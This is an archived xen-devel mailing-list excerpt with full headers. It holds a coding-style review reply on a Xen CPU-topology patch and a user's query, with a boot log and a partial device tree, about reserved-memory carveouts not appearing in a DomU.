         FFhkPRyhekHbPDqfyTy+VFwgq2UhzjTvFIkIYvXm7Twe30CFnz00Lg4kNVTS4LarXbsY
         RYOxHesbpC8iFWVkzhU8rxMUUNDAwy9esLMRQdu+wEm3VVvbhwnrjm1BmvvE0vLpQ+K6
         g+OHUg+XaYrQy7qWAlg9S3NYiAAAvgwdkFTzRyEKJd7255ZihUTxEISUA3FhqviIyyG7
         rj3w==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784872560; x=1785477360;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=pkoC1q/+TkULbqjsuzqy2NXhO6ptDn3Eo/D9M+fgH5o=;
        b=ayLm+40wN6/UE8+BFRaZK/aJP/UbPEkrE4ApW7Se843nceoIS50jHRv7CCzyaF/SVJ
         2kfjLmADXj4YPjHZ5Zsr2i67jkOvJCwAcV5rd7uounN5YCyI53o9N/YQWQuGVIGVJrIb
         xiRF3w1fZo1wH044Ea/pw94Mg6guyCQOSO0S3A3wjVII41tZlV3AD9G+41VmIcYY24jh
         Opcf6vIIRkcRt9X502xfj8jKB+2q/tfRR2Azbq2xTZdD5uMZDPyzgZK3mXTiI4fbpwLD
         lXPqe3Ci7/3GRNgBu4FHaCZxa2IlCod89ByP6SqjjDTskYQU8mh4V07Q27D2LZ3bjqCM
         OQ4g==
X-Forwarded-Encrypted: i=1; AHgh+RouMor0fkz59sEWMiOZX7P4a5w69dkrHWlvYuxcjsgFkWSi7PWGV2mknD1Ckf7ku589lqbp3VIUQmY=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yyc0Qa2bmK+S9g42Ok8cJ3iW3HlVyijs98SlOcjiwggkhpp9y4f
	r8pAekVHDoImdncTjF3U9rk1dRtDhLtxxfV2Vr8fZgOtAJOnsfC1F/uKtBYlghEmCw==
X-Gm-Gg: AR+sD104k978LcqieYIHg19lZiorFFn68vMmqk56p6zhKRLlFCbWtQa2l28VMFSIBGJ
	DndWkHFNUhAehZ5UaAs8C0DT2PLtEK+7u6JLSvagDoFSXu541Ueu4TiIoP89oOjRUs1ySVLTKSg
	VKsT86l2kGCBPon4blzj+6jlJ+w87Any4+gUp4J+Tb2tQ1jvBB4LRnIjj+SB9JlwotB6FKqoePw
	yUQQsAMKt6/uTd4uLQA2E657ANR4N7vBpcUgIhN+Y9gJVFzvyePUnsSsWFgWGXhDhya2mxfASF1
	ceIQy10V5iNz8iecADwFAvAq1fp5vfSqDGb4G7cj0QIm3z1qRhmAmhosQxesWATBjo8CB9igggM
	ckhfhWlsTmCWGxGWc0CoDez1+yv57NjTohzoYKdeORk27B99Nv+tDHB9qvy5nO8+wi5uhEtaA/V
	HLHjm9uqSRsrwjL7I1B2J1e0V9KYNaSuqF+NvVXdAystRQrPCg+ziQ3A8cN8/cofii9TGBRbY46
	5xKpyR+DjMPgDs=
X-Received: by 2002:a05:600c:4708:b0:495:5172:6620 with SMTP id 5b1f17b1804b1-49573d13256mr61631005e9.31.1784872559906;
        Thu, 23 Jul 2026 22:55:59 -0700 (PDT)
Message-ID: <0e54d0d4-3d99-4def-be22-4a7a6f3b2b36@suse.com>
Date: Fri, 24 Jul 2026 07:55:58 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v7 1/5] xen/device-tree: Parse 'cpu-map' node for CPU
 topology exploration
To: Hirokazu Takahashi <taka@valinux.co.jp>
Cc: "Mykyta_Poturai@epam.com" <Mykyta_Poturai@epam.com>,
 Stefano Stabellini <sstabellini@kernel.org>, Julien Grall <julien@xen.org>,
 Bertrand Marquis <bertrand.marquis@arm.com>,
 Michal Orzel <michal.orzel@amd.com>,
 Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger@xenproject.org>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
References: <20260720162819.308326-1-taka@valinux.co.jp>
 <20260720162819.308326-2-taka@valinux.co.jp>
 <88b09f24-13c6-427b-b7a9-aa631e59420a@suse.com>
 <OS9P286MB7222C0714304BA316DD42A4382C02@OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <OS9P286MB7222C0714304BA316DD42A4382C02@OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-16d1c6/1784872560-1F8CB77B-8050B1D8/0/0
X-purgate-type: clean
X-purgate-size: 1173

On 24.07.2026 01:59, Hirokazu Takahashi wrote:
>>> +    for ( cpu = 0; cpu < nr_cpu_ids; cpu++ )
>>> +    {
>>> +        if ( !zalloc_cpumask_var(&cpu_topology[cpu].thread_sibling)
>>> +             || !zalloc_cpumask_var(&cpu_topology[cpu].core_sibling)
>>> +             || !zalloc_cpumask_var(&cpu_topology[cpu].cluster_sibling) )
>>
>> In v6 the || here were correctly placed. Why did they move?
> 
> I saw other code using leading || and tried to match that, but I'll revert it back.

Just to clarify: Looking at surrounding code and matching style is perfectly
valid. We generally (there are exceptions, e.g. when we try to slowly
transition style of a file) aim at having consistent style within a file.
However, our own style is still preferred, and mandated when new files are
added which aren't taken from elsewhere. Hence ./CODING_STYLE is still your
primary reference. And from other style aspects of the tiny snippet above
it is already clear that it is written in Xen style. Hence ./CODING_STYLE
is it for the case here, plus (sadly) any unwritten rules (like,
unfortunately, that of placing operators in line-wrapped expressions).

Jan


From xen-devel-bounces@lists.xenproject.org Fri Jul 24 07:38:34 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 24 Jul 2026 07:38:34 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1369836.1618344 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnAU4-000074-QK; Fri, 24 Jul 2026 07:38:16 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1369836.1618344; Fri, 24 Jul 2026 07:38:16 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnAU4-00006x-NU; Fri, 24 Jul 2026 07:38:16 +0000
Received: by outflank-mailman (input) for mailman id 1369836;
 Fri, 24 Jul 2026 06:55:25 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <b-padhi@ti.com>) id 1wn9ob-0003gW-64
 for xen-devel@lists.xenproject.org; Fri, 24 Jul 2026 06:55:25 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wn9oZ-009VrO-Py
 for xen-devel@lists.xenproject.org; Fri, 24 Jul 2026 08:55:24 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <b-padhi@ti.com>)
 id 6a630c58-5cb7-0a2a0a5109dd-0a2a4503e2f8-8
 for <xen-devel@lists.xenproject.org>; Fri, 24 Jul 2026 08:55:22 +0200
Received: from [148.163.154.28] (helo=mx0b-0002e601.pphosted.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <b-padhi@ti.com>)
 id 6a630c58-fae8-0a2a45030019-94a39a1c4092-3
 for <xen-devel@lists.xenproject.org>; Fri, 24 Jul 2026 08:55:21 +0200
Received: from pps.filterd (m0374955.ppops.net [127.0.0.1])
 by mx0b-0002e601.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66O4lI8S408453
 for <xen-devel@lists.xenproject.org>; Fri, 24 Jul 2026 01:55:20 -0500
Received: from dm1pr04cu001.outbound.protection.outlook.com
 (mail-centralusazon11010024.outbound.protection.outlook.com [52.101.61.24])
 by mx0b-0002e601.pphosted.com (PPS) with ESMTPS id 4fkyp7h5x0-1
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384 bits=256 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Fri, 24 Jul 2026 01:55:20 -0500 (CDT)
Received: from SJ0PR03CA0158.namprd03.prod.outlook.com (2603:10b6:a03:338::13)
 by IA1PR10MB6268.namprd10.prod.outlook.com (2603:10b6:208:3a0::19)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.245.11; Fri, 24 Jul
 2026 06:55:17 +0000
Received: from SJ1PEPF00001CE6.namprd03.prod.outlook.com
 (2603:10b6:a03:338:cafe::82) by SJ0PR03CA0158.outlook.office365.com
 (2603:10b6:a03:338::13) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.245.11 via Frontend Transport; Fri,
 24 Jul 2026 06:55:16 +0000
Received: from flwvzet201.ext.ti.com (198.47.21.195) by
 SJ1PEPF00001CE6.mail.protection.outlook.com (10.167.242.22) with Microsoft
 SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id
 15.21.270.5 via Frontend Transport; Fri, 24 Jul 2026 06:55:14 +0000
Received: from DFLE204.ent.ti.com (10.64.6.62) by flwvzet201.ext.ti.com
 (10.248.192.32) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.37; Fri, 24 Jul
 2026 01:55:13 -0500
Received: from DFLE207.ent.ti.com (10.64.6.65) by DFLE204.ent.ti.com
 (10.64.6.62) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.37; Fri, 24 Jul
 2026 01:55:13 -0500
Received: from lelvem-mr05.itg.ti.com (10.180.75.9) by DFLE207.ent.ti.com
 (10.64.6.65) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.37 via Frontend
 Transport; Fri, 24 Jul 2026 01:55:13 -0500
Received: from [10.24.50.162] (uda0510294.dhcp.ti.com [10.24.50.162])
 by lelvem-mr05.itg.ti.com (8.18.1/8.18.1) with ESMTP id 66O6tCKx3350536
 for <xen-devel@lists.xenproject.org>; Fri, 24 Jul 2026 01:55:13 -0500
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=proofpoint-05-2026 header.d=ti.com header.i="@ti.com" header.h="Content-Transfer-Encoding:Content-Type:Date:From:Message-ID:MIME-Version:Subject:To"; dkim=pass header.s=selector1 header.d=ti.com header.i="@ti.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ti.com; h=
	content-transfer-encoding:content-type:date:from:message-id
	:mime-version:subject:to; s=proofpoint-05-2026; bh=Sb5WM7wy/Lbmm
	F+SlDIIGyJgGdYTFXCgyTfe/QLwZkw=; b=lVEnexyTu9x5Nb6rYEeVy4KGJmOJk
	gTW0/gXSNR4WN1i1zaZT+vFLSBwx9Q7nKt8CTGCw5ng6ZOqK/B1iB8FMMc+HOFG1
	ruuRSNoJgTZcGQBtnieSExejulvqeXXC/rZsFDOyEwpXux3GNZF7P7JjGh7chVGH
	g2VTFjPlfibfkQtGpLlWR+cboMCYv/wvS+r4q1bgYiLe/RMqw6s1qXgEc6NVkzEC
	XSBIgYXhujDBzEd7mx5RrO0gZ/6LKcRQaiDlSKTKpPo+pOaDuE7fyTpR1NYPYrLe
	FnGRWJuK+z+5LjvuD6ANSFrBFA3SdfuFegwz2esYa8kt813jevGDusiJg==
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=FMd3zUcaJpcZtISt/xS+GIOzUS8/hZn6HxeZdczxYpB28jqwxvq+E0EXOqiYWOOEyAOyq/6DZy+U0lN+0xbo9LRWCeCurS24JsGghgpPV3zBE8Q1315jtBsjy/ObUpu4dto9ENA7ckuMJKJKFLyjDkawsLbZcC4zGslWS+jEv4WIVpMPvrEELPUtMMxFFXk68Tyl+zGnTvUD/Hf5Zgo6CwRlf49iH2yQN2qugWKv+3AOlDkE7yXhXymE34T6D9B0Thyd1k5jc44owGK2A3sg5hSO3oEt7HSN+QWK0LsySlqpD3sHVS1E2mGNT9h1ql8kcAykHW1/7hS9tLSx94xZPw==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=Sb5WM7wy/LbmmF+SlDIIGyJgGdYTFXCgyTfe/QLwZkw=;
 b=IPR7mBRYOQe25isjs9SVTdRhSBfMm/Ef+i8LxtNzxVBV8BozqNMZO3vEGFq4qYaSfadHR/3XOyiq6Z9I0DOY8zWXujHnaXQtZQc8+KXawI3KlZ02sN/uDIhivQJGMRpG5Frx2LWJJDy0Agw9eh7PSciKSZRdCRJARIZGR0jiA4qQLXfhUszzInDt7tn4cRCbpDPdodsFASXUBAutWoICgDPDWCgzntglO3L2svsx/JKKGsB+lTd/9WTUxzKAgIVlJ9uA5oEmEtVLNCXxJe0JN4K+MGyynvTqEvZFzOJulyzH2HG6YiLjibWhjYGh50BQNtTE/PaJcdkHfmgarL5cIQ==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 198.47.21.195) smtp.rcpttodomain=lists.xenproject.org smtp.mailfrom=ti.com;
 dmarc=pass (p=quarantine sp=none pct=100) action=none header.from=ti.com;
 dkim=none (message not signed); arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ti.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=Sb5WM7wy/LbmmF+SlDIIGyJgGdYTFXCgyTfe/QLwZkw=;
 b=R7AM4Q0ijX4B+rqJFK9z+bMZyk4n06eqhCSOQVez4y5Ytx/+aoRauF9QKhQDNxg+LP19zEdp+Yzg6xhKrfgEGU9EgiyXw3Toqyy4CkGmReqtBk9kL1zKSbajMWZfqHCQk04fpN1Ozb6FetVpNwesc4FFwatryDvTFTu8T/AiMCo=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 198.47.21.195)
 smtp.mailfrom=ti.com; dkim=none (message not signed) header.d=none;dmarc=pass
 action=none header.from=ti.com;
Received-SPF: Pass (protection.outlook.com: domain of ti.com designates
 198.47.21.195 as permitted sender) receiver=protection.outlook.com;
 client-ip=198.47.21.195; helo=flwvzet201.ext.ti.com; pr=C
Message-ID: <ba100bd7-5cc0-4f87-af3c-dca887963d44@ti.com>
Date: Fri, 24 Jul 2026 12:25:11 +0530
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
To: <xen-devel@lists.xenproject.org>
Content-Language: en-US
From: Beleswar Prasad Padhi <b-padhi@ti.com>
Subject: [Query] Unable to probe reserved-memory carveouts in DomU with Xen
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
X-C2ProcessedOrg: 333ef613-75bf-4e12-a4b1-8e3623f5dcea
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: SJ1PEPF00001CE6:EE_|IA1PR10MB6268:EE_
X-MS-Office365-Filtering-Correlation-Id: 9da13574-7ea7-4a34-b40c-08dee950839f
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|1800799024|82310400026|23010399003|36860700016|376014|56012099006|10067099003|18002099003;
X-Microsoft-Antispam-Message-Info:
	yy4FVBsPJWnToj7j6UBV8DxEBcrxeaFPbO/A8wJd7bvZXJq0+fKjfRAF8OzFJlnyU4fnlwwNivXP9Y2r8YOPSY4UsHNHgNhZIRbARPnyV1dnJh/8hZ4wEiIvYo9f/UweIP391p/5ZXjGNqG1ZdBSxAtE0pT42CVCbK+Lm/bIP6kdvmpBLAZ0WbhxPOBMD+g8nIYwKrNB1w8zfCc4BVWVNo89xHbJHmwvrVhRQ0GW+6Lj7fd34NELuBYrOUW8tySIVCdeTAJQw899qdNfFc70hUlP36pev1FHUcaYgQu7Sf1zirIaP3aSWeEyfAi6mLp9HXcZwOT5Co5lacqWEA4vMBj4Zhky1uyALUUj00p3MXsUtpCxEt9H5yttMKnnGWHrKB4T5BuB1sdjkHbHghc4PMuUKXNfGy4xezCFjFcP5r96WIa7gxAg5PTQrEMKe3Khn/L2SygNptMWSQ5SDYR44KSf5M2Fz5WRC7KW8u9Qm4upBdbyw/g27cCLcuJL5sl6YYGcH69Jds5SN97AcDNTQVph/Gs8YIzUe4o3PEtscTYnUZ3dwXv7ll87THRS+P7/jk0jRF3TOk7r5jZ+cWg8dmF51gdoA428FtW5cCB8GAqo0ceK0hDF2fMJnycDc5Nwg6Hl9xs2vEWg9GZLbSEgyjRfP7BU87d2TniDt9kdQR9xyl7acNjGQtnjIQtz3kJoS4H8sSZi6E1szOlLgu3oqA==
X-Forefront-Antispam-Report:
	CIP:198.47.21.195;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:flwvzet201.ext.ti.com;PTR:ErrorRetry;CAT:NONE;SFS:(13230040)(1800799024)(82310400026)(23010399003)(36860700016)(376014)(56012099006)(10067099003)(18002099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	VhnRc/HFiOMAAT4C/pISpsw24aWiEmge46WUaQOktUf2ZQ/BBHdKtYCj4rniEGdaPhVrZ4mQOGp8uzmfU/SV6BrjCiGTbOY71hAx/ei8tcPHGV8VabHHBhjG9LFnGWCLx97Hq0W/keFIB/+Nb7pcFhu5aL1GOWXC8uQwtOkaEpa8pQu/Qo4mww62nZzbWvSzBIiT7z/GDFP/+Ip4ikLA6AHQFUU6axrHUEPpGFHch/AJCw7ceSBvWFEYdbuL60KItCqR0KXc63jAhfwWnTGs5zqduzjdtbFDGHtI6X3Quf9ywAyE62Lsc1+cSPQIRtpr/5oiz7AIP0AiJVbLRa5avvXwYSrkLKv3h9t20CYACZCbsxGVdzPIkpuRa9yVX7Zg4aEVS0RVxVpZJi4SQIjUWj2la1waNAwde4mGiuRsFTckuSbUZI37XABC3YJ/xztm
X-Exchange-RoutingPolicyChecked:
	OfCUPNqoGWmht4Nv6BDsS0S12X1SJ1CZzVcoftmIqpLn2slq6sqiyZctUV9NFKgP1ingBqrwfxev7t/l7nR2cCPLBFbRwmAJhR/1qe/H3NOW2EnpwIXB0a0leteBheefNCNqyJzt3xOZwruQ5KshAtrRFYnAVINScPOU00PvV/bL8zn2CQ/aCN9hKJNlY6SrjtQFh6DioWXQZEItarWZ9SPiVCQpY+n/0g/QrwJfkCXH+69bEwq9KWFvgGicr6xUKpxFrxJCYd8fYVJwt0g6/DE4q0pptdu2SeMxPnn7hYYoKdaEUiadPThJQZAGDWfRklKL7I8QN0b5FxjQ+8aOpw==
X-OriginatorOrg: ti.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 24 Jul 2026 06:55:14.6846
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: 9da13574-7ea7-4a34-b40c-08dee950839f
X-MS-Exchange-CrossTenant-Id: e5b49634-450b-4709-8abb-1e2b19b982b7
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=e5b49634-450b-4709-8abb-1e2b19b982b7;Ip=[198.47.21.195];Helo=[flwvzet201.ext.ti.com]
X-MS-Exchange-CrossTenant-AuthSource:
	SJ1PEPF00001CE6.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: IA1PR10MB6268
X-Authority-Analysis: v=2.4 cv=M4p97Sws c=1 sm=1 tr=0 ts=6a630c58 cx=c_pps
 a=FzHw5hv2FvkecWl+Aalm1A==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ZKbWg==
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-24_01,2026-07-22_02,2025-10-01_01
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 malwarescore=0 spamscore=0 priorityscore=1501 adultscore=0 clxscore=1011
 suspectscore=0 phishscore=0 bulkscore=0 lowpriorityscore=0 impostorscore=0
 classifier=typeunknown authscore=0 authtc= authcc= route=outbound adjust=0
 reason=mlx scancount=1 engine=8.22.0-2606150000 definitions=main-2607240061
X-purgate-ID: tlsNG-33051d/1784876122-6C6DE4E9-4D19D70A/0/0
X-purgate-type: clean
X-purgate-size: 4360

Hi all,

I have been trying to use reserved-memory carveouts in DomU, but failing constantly.

This is the log from Dom1 boot:

[Â  Â  0.000000] earlycon: uart8250 at MMIO32 0x0000000053914000 (options '115200n
8')
[Â  Â  0.000000] printk: legacy bootconsole [uart8250] enabled
[Â  Â  0.000000] Xen 4.21 support found
[Â  Â  0.000000] efi: UEFI not found.
*[Â  Â  0.000000] OF: reserved mem: Reserved memory: No reserved-memory node in the DT*
[Â  Â  0.000000] Zone ranges:
[Â  Â  0.000000]Â  Â DMAÂ  Â  Â  [mem 0x0000000040000000-0x0000000051ffffff]
[Â  Â  0.000000]Â  Â DMA32Â  Â  empty
[Â  Â  0.000000]Â  Â NormalÂ  Â empty
[Â  Â  0.000000] Movable zone start for each node
[Â  Â  0.000000] Early memory node ranges
[Â  Â  0.000000]Â  Â nodeÂ  Â 0: [mem 0x0000000040000000-0x0000000051ffffff]
[Â  Â  0.000000] Initmem setup node 0 [mem 0x0000000040000000-0x0000000051ffffff]
[Â  Â  0.000000] On node 0, zone DMA: 24576 pages in unavailable ranges
[Â  Â  0.000000] cma: Reserved 32 MiB at 0x000000004f800000

This is my passthrough.dts:

Â  Â  1 /*
Â  Â  2 * This is a partial DT for passthrough node to DomU.
Â  Â  3 */
Â  Â  4 #include <dt-bindings/interrupt-controller/irq.h>
Â  Â  5 #include <dt-bindings/interrupt-controller/arm-gic.h>
Â  Â  6Â 
Â  Â  7 /dts-v1/;
Â  Â  8Â 
Â  Â  9 / {
Â  Â 10Â  Â  Â  Â  Â #address-cells = <2>;
Â  Â 11Â  Â  Â  Â  Â #size-cells = <1>;
Â  Â 12Â 
~Â  13Â  Â  Â  Â  Â reserved-memory {
~Â  14Â  Â  Â  Â  Â  Â  Â  Â  Â #address-cells = <2>;
~Â  15Â  Â  Â  Â  Â  Â  Â  Â  Â #size-cells = <2>;
+Â  16Â  Â  Â  Â  Â  Â  Â  Â  Â ranges;
+Â  17Â 
+Â  18Â  Â  Â  Â  Â  Â  Â  Â  Â /* CMA region for framebuffer allocation */
+Â  19Â  Â  Â  Â  Â  Â  Â  Â  Â linux,cma {
+Â  20Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â compatible = "shared-dma-pool";
+Â  21Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â reusable;
+Â  22Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â size = <0x00 0x08000000>; /* 128MB CMA pool */
+Â  23Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â linux,cma-default;
+Â  24Â  Â  Â  Â  Â  Â  Â  Â  Â };
Â  Â 25Â  Â  Â  Â  Â };
Â  Â 26Â 
Â  Â 27Â  Â  Â  Â  Â passthrough {
Â  Â 28Â  Â  Â  Â  Â  Â  Â  Â  Â compatible = "simple-bus";
Â  Â 29Â  Â  Â  Â  Â  Â  Â  Â  Â ranges;
Â  Â 30Â  Â  Â  Â  Â  Â  Â  Â  Â #address-cells = <2>;
Â  Â 31Â  Â  Â  Â  Â  Â  Â  Â  Â #size-cells = <1>;
Â  Â 32Â 
Â  Â 33Â  Â  Â  Â  Â  Â  Â  Â  Â misc_clk: misc_clk {
Â  Â 34Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â #clock-cells = <0>;
Â  Â 35Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â clock-frequency = <100000000>;
Â  Â 36Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â compatible = "fixed-clock";
Â  Â 37Â  Â  Â  Â  Â  Â  Â  Â  Â };

Â  Â 73Â  Â  Â  Â  Â  Â  Â  Â  Â uart@53914000 {
Â  Â 74Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â compatible = "ns16550a";
Â  Â 75Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â reg = <0x00 0x53914000 0x1000>;
~_ 76Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â interrupts = <0 302 4>;
Â  Â 77Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â reg-shift = <2>;
Â  Â 78Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â reg-io-width = <4>;
Â  Â 79Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â clocks = <&misc_clk>;
Â  Â 80Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â oversampling-rate = <16>;
